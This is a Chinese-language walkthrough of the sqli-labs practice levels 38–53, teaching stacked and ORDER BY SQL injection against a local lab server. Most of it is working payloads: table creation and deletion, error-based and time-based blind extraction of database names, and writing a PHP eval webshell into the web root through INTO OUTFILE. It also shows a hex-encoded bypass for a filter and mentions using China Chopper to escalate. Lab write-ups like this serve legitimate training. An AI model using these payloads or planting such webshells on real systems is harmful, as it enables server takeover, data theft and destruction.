一.less38
堆叠注入:就是利用利用分号来分隔一个sql语句,然后在同一行再写一个sql语句实现多句并用。堆叠注入的危害巨大,less45将演示利用堆叠注入写一句话木马
less38-45是关于堆叠注入的学习,通关要求是找到注入点进行堆叠注入
#利用创建表
http://127.0.0.1/sqli-labs/Less-38/?id=1';create table crow2 like users;--+
#删除创建的表
http://127.0.0.1/sqli-labs/Less-38/?id=1';drop table crow2;--+
#往users表中插入一组数据(100,Eric,L123);--+
这里我就不上图了,很容易验证
用其他的注入手段获取数据库敏感信息这里不赘述了
2.less39
本关是id是数字型注入,其他的同less38
3.less40
本关是id是单引号+单括号,其他的同less38
4.less41
本关同less39,只是没有报错信息而已
5.less42
本关是post型的注入,从login中sql语句源码我们可以知道,这里采用的是单引号闭合。由于本关源码中有对username进行mysql_real_escape_string()过滤,而passsword没有,所以可以直接在password进行注入
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
账号:随意
密码:a';create table test like users#
页面登陆失败,但是表test会被创建(其他操作同理不赘述)
6.less43
本关passwood是用单引号+单括号闭合的,其他的同less42
7.less44
本关是基于盲注的,除了没有报错信息外其他的同42
按照流程来一遍把数据库名,表名,字段名都猜解出来
注意:猜解的时候一定要用or,因为如果用and的话,在账号密码已经是错误的情况下或者未知的情况下,执行到第一个错误的分句后就不再执行,用or的话会都执行一遍,这样就可以用延时注入来猜解数据库的相关信息
' or if(left(database(),1)=100,1,sleep(5));#
其他同理,不作赘述
8.less45
45关与43关的payload是一样的,只不过45关依旧没有报错信息(代码直接抄过来用),依旧用盲注
用堆叠注入来写一句话木马(以上关卡也都能用,只是在less45展示而已)
条件:
- root 写权限
- 一句话木马
- select xxx into outfile xxx
- 写入点
#一句话木马 <?php @eval($_POST["root"]); ?>
注入代码
a'); select '<?php @eval($_POST["root"]); ?>' into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\crow1.php';#
虽然网页显示登陆失败但是一句话木马已经注入成功,然后用中国菜刀获得更高权限进行入侵
九.总结(less38-45)
堆叠注入就是利用分号结束当前sql语句,然后再自己按照需求任意添加别的sql语句实现注入效果
堆叠注入对网站和服务器的危害相当之大,当爆破出库名表名后,进行各种增删改查,或者是随意往数据库里创建表或者加入本不存在的信息,再或者对服务器进行木马注入,都会对网站造成难以估量的损失
十.less46
从本关开始,我们开始学习order by相关注入的知识
补充知识:
- 1.?sort=1 表示select xx from xx order by 1
- select * from users into outfile ‘绝对路径’ lines terminated by xxx(xxx可以用十六进制表示,别忘了前面手动加0x):这句sql语句表示将东西写入文件以xxx分隔
下面开始这关的内容:
首先本关是提示信息要求使用sort,我们输入在网址后面补?sort=1,如下,可以得到一张表,我在源码中打印了sql语句,从sql语句中可知,这里sort控制的是order by 后面的值(本关开始考点就是order by相关注入)
注入方法((报错注入和延时注入前面已经讲过很多次了,详见less5的报错注入处)):
- 1.报错注入
select updatexml(1,concat(0x7e,要查询的sql语句),1)
#如查询数据库名
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and updatexml(1,concat(0x7e,database(),1),1)–+
* 2.延时注入
select if((length(database()))>8,1,sleep(5))
#如果数据库名长度>8就sleep5s
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and if((length(database()))>8,1,sleep(5))
总结:利用以上两种手段,在 order by 后面加 and 报错注入代码 来爆数据库的的数据
## 十一.less47
本关闭合order by处是单引号闭合,像前面id一样构造闭合即可,其他的相同
以延时注入为例:
http://127.0.0.1/sqli-labs/Less-47/?sort=1'and if((length(database()))>6,1,sleep(5)) –+
## 十二.less48
本关是order by处是整型,但通过单引号测试可知本关没有报错信息,所以选择时间盲注来获取信息,其他的同less46,具体过程略
## 十三.less49
本关是order by处是单引号闭合,无报错信息,其他同less47,依旧选择时间盲注来获取信息,具体过程略
**下面尝试使用写入文件的方式破解less49**
#语法(line后面的部分可选,下面就会出现非用不可的情况)
select * from users into outfile ‘绝对路径’ lines terminated by xxx
http://127.0.0.1/sqli-labs/Less-49/?sort=1'
into outfile “E:\phpstudy\PHPTutorial\WWW\less49.txt” –+
虽然有警告,但是已经成功通过注入把users表的内容写到文件中(因为前面已经有select并且我们需要的就是前面select出来的数据,所以这里千万不要再加select 和and)
[](https://imgchr.com/i/DdXOvn)
</br>
下面演示通过写入文件来注入的方式
**插入一句话木马**
注入代码如下
http://127.0.0.1/sqli-labs/Less-49/?sort=1' and
(select ‘‘) into outfile ‘E:\phpstudy\PHPTutorial\WWW\crow3.php’–+
**注:这里select外面一定要加一层括号,这样才表示把这句话写入文件**
[](https://imgchr.com/i/DwC61S)
成功写入文件,但是打开文件后会发现只有写入了and前面那句sql语句的内容,一句话木马并不存在。我们通过手动输出的sql语句中也能看到,这里一句话木马被过滤掉了
**奇怪的是,这里我把一句话木马换成随便的一个字符串比如1234,再在显示的sql语句中虽然正常显示了我要加的句子,但是文本中依旧不显示**
[](https://imgchr.com/i/DwCQT1)
**解决方法:利用lines terminated by来实现插入,这里by后面是可以用字符的十六进制形式来进行注入的,这样就能实现绕过过滤**
进制转换的网站:https://www.bejson.com/convert/ox2str/
将<?php @eval($_POST["root"]);转换成十六进制写再lines terminated by 的后面即可
下面是注入代码
http://127.0.0.1/sqli-labs/Less-49/?sort=1'
into outfile “E:\phpstudy\PHPTutorial\WWW\less49_02.php” lines terminated by 0x3c3f706870406576616c28245f504f53545b22726f6f74225d293b3f3e –+
[](https://imgchr.com/i/DwPxbj)
由上图可知,确实注入成功
## 十四.less50
从本关开始我们开始进行 order by stacked injection
前面的关卡中,源码中使用的是mysqli _query()的方式执行sql语句,而本关开始使用的是mysqli_multi_query()
**mysqli _query())和mysqli_multi_query()的区别**
* mysqli _query():只能执行一句sql语句
* mysqli_multi_query():可以执行多句sql语句
接下来从less50-53是对上面两大关(堆叠注入和order by注入)的结合,手法如下按照实际情况选(不再一一演示)
* 1.延时盲注
* 2.报错注入
* 3.直接写一句话木马(见less49)
* 4.用堆叠注入写一句话木马(见less45)
* 5.用堆叠注入实现创表删表等操作(见less38)
本关是整型闭合,操作就不演示了
## 十五.less51
本关是单引号闭合,其他同less50,不赘述
## 十六.less52
本关是整型闭合没有报错信息,其他同less50(无报错信息的题不可用报错注入)
## 十七.less53
本关是单引号闭合,无报错信息,同less51
## 十.总结(less46-53)
对比:
?id=n ---> select xx from xx where id = n
?sort=n ---> select xx from xx order by n
二者基本同理,注入的步骤都是:
* 引号测试是否存在报错以及确定闭合类型
* 没有报错信息就选择时间盲注,有的话就报错注入和时间盲注都可以
。如果有别的可行的方法也行
* 根据需求选择合适的注入手法进行信息获取或攻击
less38-53手法汇总:
* 1.延时盲注
* 2.报错注入
* 3.直接写一句话木马(见less49)
* 4.用堆叠注入写一句话木马(见less45)
* 5.用堆叠注入实现创表删表等操作(见less38)
**注 : 可能还存在一些别的方式可以注入通关,这里主要讨论时间盲注和报错注入和用写入文件的方式来注入**